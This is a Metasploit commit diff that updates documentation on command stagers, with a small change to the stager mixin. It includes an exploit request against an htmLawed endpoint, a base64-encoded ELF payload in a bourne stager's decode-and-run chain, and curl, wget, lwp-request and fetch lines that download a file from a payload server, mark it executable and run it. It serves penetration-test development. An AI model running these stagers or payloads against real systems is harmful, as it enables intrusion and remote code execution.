Land #17842, Update docs for cmdstager

docs/metasploit-framework.wiki/How-to-use-command-stagers.md

@@ -1,6 +1,6 @@
 If you’ve found a way to execute a command on a target, and you’d like the leverage that ability to execute a command into a meterpreter session, command stagers are for you.  Command stagers provide an easy way to write exploits that leverage vulnerabilities such as [command execution](https://www.owasp.org/index.php/Command_Injection) or [code injection](https://www.owasp.org/index.php/Code_Injection) and turn them into sessions. There are currently 14 different flavors of command stagers, each uses system command (or commands) to save (or not save) your payload, sometimes decode, and execute.
 
-The hardest part about command stagers is understanding how much they do.  All you need to do for a command stager is to define how the command injection works in the `execute_command` method and then select a few options.
+The hardest part about command stagers is understanding how much they do and what they do.  All you need to do for a command stager is to define how the command injection works in the `execute_command` method and then select a few options.
 
 # The Vulnerability Test Case
 
@@ -70,7 +70,7 @@ include Msf::Exploit::CmdStager
 
 **2. Declare your flavors**
 
-To tell `Msf::Exploit::CmdStager` what flavors you want, you can add the ```CmdStagerFlavor``` info in the module's metadata. Either from the common level, or the target level. Multiple flavors are allowed.
+To tell `Msf::Exploit::CmdStager` what flavors you want, you can add the ```CmdStagerFlavor``` info in the module's metadata. Either from the common level, or the target level. Multiple flavors are allowed.  Remember that different flavors have different approaches to staging the payload for execution.  Some flavors will break the payload apart and embed the payload data into multiple `echo` or `printf` commands to write it to disk; others like `wget` and `curl` execute a command to retrieve the payload via network connection.  Your chosen flavor will be determined by the availability of a given command on the target system, the size of the command, the size of the payload, the ability to call out on the network, and the security posture of the target.
 
 An example of setting flavors for a specific target:
 
@@ -98,11 +98,32 @@ However, it is best to set the compatible list of flavors in `CmdStagerFlavor`,
 
 **3. Create the execute_command method**
 
-You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is how you define how to execute a command on the target.  The parameter `cmd` is the command to execute.  When writing the ```execute_cmd``` method, remember that
+You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is how you define how to execute a command on the target.  The parameter `cmd` is the command to execute.  When writing the ```execute_cmd``` method, remember that a great deal of work might already be done for you.  Here is an example of a web host that executes a command as part of a request:
+```ruby
+  def execute_command(cmd, _opts = {})
+    populate_values if @sid.nil? || @token.nil?
+    uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
+
+    send_request_cgi({
+      'method' => 'POST',
+      'uri' => normalize_uri(uri),
+      'cookie' => 'sid=' + @sid,
+      'ctype' => 'application/x-www-form-urlencoded',
+      'encode_params' => true,
+      'vars_post' => {
+        'token' => @token,
+        'text' => cmd,
+        'hhook' => 'exec',
+        'sid' => @sid
+      }
+    })
+  end
+```
+Since the command is encapsulated within a request, it will be encoded for us.  When building and debugging an execute_command method that uses web requests, remember that `set httptrace true` will automatically display the http traffic as it is sent and received.
 
 **4. Decide on the supported payloads**
 
-CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are `ARCH_CMD` payloads that rely on software already present on the target system like netcat, bash, python, or ssh.  Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two.
+CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are `ARCH_CMD` payloads that rely on software already present on the target system like `netcat`, `bash`, `python`, or `ssh`.  Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two.
 The best way to let the user decide what kind of payload to use is by defining separate [[targets|Get-Started-Writing-an-Exploit.md]]
 
 Here is an example targets section from a command injection module:
@@ -133,10 +154,10 @@ Here is an example targets section from a command injection module:
 
 ```
 
-The first target is the `ARCH_CMD` target and `unix` platform.  This allows the user to select any payload that starts with `cmd/unix`.  These payloads do not need to be saved to disk and can just be launched at the command line.  The second is `ARCH_X64` and the platform is `linux`; this lets us choose any payload that starts with `linux/x64`.  These targets must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a ‘dropper’ because the file must be ‘dropped’ to the disk before it can be executed.  In each of the targets above, we’ve selected a default payload we know will work.
+The first target is the `ARCH_CMD` target and `unix` platform.  This allows the user to select any payload that starts with `cmd/unix`.  These payloads do not need to be saved to disk because they are "just" a command, rather than an executable file.  As such, they can be contained and launched within a command line string.  The second is `ARCH_X64` and the platform is `linux`; this lets us choose any payload that starts with `linux/x64` and includes binary elf payloads.  These payload types must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a ‘dropper’ because the file must be ‘dropped’ to the disk before it can be executed.  In each of the targets above, we’ve selected a default payload we know will work.  
 
 **4. Executing a payload**
-As we said earlier, the way a payload is executed depends on the payload type.  By including `Msf::Exploit::CmdStager` you are given access to a method called ```execute_cmdstager```.  ```execute_cmdstager``` makes a list of required commands to upload, save, and execute your payload, then uses the ```execute_command``` method you defined earlier to run them on the target.
+As we said earlier, the way a payload is executed depends on the payload type.  By including `Msf::Exploit::CmdStager` you are given access to a method called ```execute_cmdstager```.  ```execute_cmdstager``` makes a list of required commands to encode, upload, save, decode, and execute your payload, then uses the ```execute_command``` method you defined earlier to run each command on the target.
 Unfortunately, we just mentioned not all payloads need to be saved to disk.  In the case of a payload that does not need to be saved to disk, we only need to call ```execute_command```.
 This problem of payload/method juggling sounds far worse than it is.  Below is a quick example of how simple the ```exploit``` method will become if you have properly defined your targets as discussed in step 3:
 
@@ -152,8 +173,7 @@ This problem of payload/method juggling sounds far worse than it is.  Below is a
   end
 ```
 
-That’s it.  If the user selects an `ARCH_CMD` payload, we call the ```execute_command``` method on the _already_ _encoded_ payload.  You don’t need to worry about encoding the payload in your ```execute_command``` method.
-If the user has selected a binary payload like `ARCH_X64` or `ARCH_X86`, then we call ```execute_cmdstager``` which figures out how to save the file to disk and launch it based on the flavor you set earlier.
+That’s it.  If the user selects an `ARCH_CMD` payload, we call the ```execute_command``` method on the payload because as we said earlier, these payloads will execute within a single command.  If the user has selected a ```dropped``` payload like `ARCH_X64` or `ARCH_X86`, then we call ```execute_cmdstager``` which figures out the series of commands necessary to save the file to disk and launch it based on the flavor and max size you set earlier.
 
 Over the years, we have also learned that these options are quite handy when calling
 `execute_cmdstager`:
@@ -259,23 +279,26 @@ msf exploit(cmdstager_demo) > run
 # Flavors
 
 Now that we know how to use the `Msf::Exploit::CmdStager` mixin, let's take a look at the command
-stagers you can use.
+stagers you can use.  As mentioned above there are 2 general approaches to staging an executable on disk: by invoking a command that will download the executable file to disk like wget, curl, or fetch, or by breaking the executable file into pieces and including them commands themselves to write it to disk like echo, printf, or vbs. This delineation can be important, as trying to wite a stageless binary payload to disk using a stager that has to include the chunked payload in it will require the execution of dozens of commands, often each one having the signature of the exploit.  It is also useful to know the `printf` flavor is the only flavor that embeds the payload into the commands but does ***not*** use `echo`.
 
 Available flavors:
 
+Flavors requiring the payload to be broken apart and embedded into the commands:
 * [bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb)
+* [certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb)
 * [debug_asm](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/debug_asm.rb)
 * [debug_write](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/debug_write.rb)
 * [echo](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/echo.rb)
 * [printf](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/printf.rb)
 * [vbs](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/vbs.rb)
-* [certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb)
-* [tftp](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/tftp.rb)
-* [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb)
+
+Flavors that rely on using a command to retrieve the payload via network connection
 * [curl](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/curl.rb)
 * [fetch](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/fetch.rb)
 * [lwprequest](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/lwprequest.rb)
 * [psh_invokewebrequest](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb)
+* [tftp](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/tftp.rb)
+* [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb)
 
 
 ## VBS Command Stager - Windows Only
@@ -305,9 +328,7 @@ You will also need to make sure the module's supported platforms include windows
 
 ## Certutil Command Stager - Windows Only
 
-[Certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8.
-
-One thing certutil can also do for us is decode the Base64 string from a certificate, and save the decoded content to a file. The following demonstrates:
+[Certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back up and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8.  I find the certutil flavor confusing, as certutil can be used to download files just like `wget` and `ftp`, we do not use it that way here; instead we use `echo` to write the file as a base64 encoded certificate, and then we use `certutil` to decode it prior to execution:
 
 ```bash
 echo -----BEGIN CERTIFICATE----- > encoded.txt
@@ -433,8 +454,17 @@ execute_cmdstager(flavor: :psh_invokewebrequest )
 
 **Linemax** minimum: 373
 
-The [Bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb) command stager supports multiple platforms except for Windows (because the use of the which command that Windows does not have). It functions rather similar to the VBS stager, except when it decodes the Base64 payload at runtime, there are multiple commands to choose from: base64, openssl, python, or perl.
-
+The [Bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb) command stager supports multiple platforms except for Windows. Just like many other stagers, it writes a base64 encoded payload to disk, but then it tries to decode it using four different commands: base64, openssl, python, and perl.  This is very useful if the target's OS is unpredictable. You can see the way it attempts to use multiple decoding techniques by setting `verbose` to `true` and launching an exploit that has `bourne` as a supported command stager flavor and selecting it as the flavor:
+```
+[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAA
+AAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoK
+QVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXAoFh8lRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+
+Wg8FSIXAeO3/5g==>>'/tmp/XtMnQ.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (w
+hich openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; pri
+nt base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)
+')) 2> /dev/null > '/tmp/IPUov' < '/tmp/XtMnQ.b64' ; chmod +x '/tmp/IPUov' ; '/tmp/IPUov' ; rm -f '/tmp/IPUov' ; rm -f '
+/tmp/XtMnQ.b64'"]
+```
 To use the Bourne stager, either specify your CmdStagerFlavor in the metadata:
 
 ```ruby
@@ -454,7 +484,7 @@ execute_cmdstager(flavor: :bourne)
 
 The [echo](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/echo.rb) command stager is suitable for multiple platforms except for Windows. It just [echos](http://manpages.ubuntu.com/manpages/trusty/man1/echo.1fun.html) the payload, chmod and execute it. An example of that looks similar to this:
 
-```
+```bash
 echo -en \\x41\\x41\\x41\\x41 >> /tmp/payload ; chmod 777 /tmp/payload ; /tmp/payload ; rm -f /tmp/payload
 ```
 
@@ -495,6 +525,11 @@ execute_cmdstager(flavor: :printf)
 
 ## cURL Command Stager - Multi Platform
 
+The [cURL](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/curl.rb) command stager uses the `curl` command on the target host to download the payload file. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
+
+```bash
+curl -so /tmp/dtNGlaaL http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/dtNGlaaL;/tmp/dtNGlaaL;rm -f /tmp/dtNGlaaL"
+```
 To use the cURL stager, either specify your CmdStagerFlavor in the metadata:
 
 ```ruby
@@ -510,6 +545,12 @@ execute_cmdstager(flavor: :curl)
 
 ## wget Command Stager - Multi Platform
 
+The [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `wget` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
+
+```bash
+wget -qO /tmp/MZXxujch http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/MZXxujch;/tmp/MZXxujch;rm -f /tmp/MZXxujch
+```
+
 To use the wget stager, either specify your CmdStagerFlavor in the metadata:
 
 ```ruby
@@ -525,6 +566,13 @@ execute_cmdstager(flavor: :wget)
 
 ## LWP Request Command Stager - Multi Platform
 
+The [lwp-request](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/lwprequest.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `lwp-request` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
+
+```bash
+lwp-request -m GET http://10.5.135.201:8080/mdkwKcdGCtU > /tmp/OKOnDYwn;chmod +x /tmp/OKOnDYwn;/tmp/OKOnDYwn;rm -f /tmp/OKOnDYwn
+
+```
+
 To use the lwprequest stager, either specify your CmdStagerFlavor in the metadata:
 
 ```ruby
@@ -540,6 +588,11 @@ execute_cmdstager(flavor: :lwprequest)
 
 ## Fetch Command Stager - BSD Only
 
+The [fetch](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/fetch.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `fetch` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
+
+```bash
+fetch -qo /tmp/UGWuPPcy http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/UGWuPPcy;/tmp/UGWuPPcy;rm -f /tmp/UGWuPPcy
+```
 To use the fetch stager, either specify your CmdStagerFlavor in the metadata:
 
 ```ruby

lib/msf/core/exploit/cmd_stager.rb

@@ -56,7 +56,7 @@ def initialize(info = {})
     flavors = STAGERS.keys if flavors.empty?
     flavors.unshift('auto')
 
-    server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto certutil tftp wget curl fetch lwprequest psh_invokewebrequest ftp_http}]
+    server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto tftp wget curl fetch lwprequest psh_invokewebrequest ftp_http}]
     register_options(
       [
         OptAddressLocal.new('SRVHOST', [true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ], conditions: server_conditions),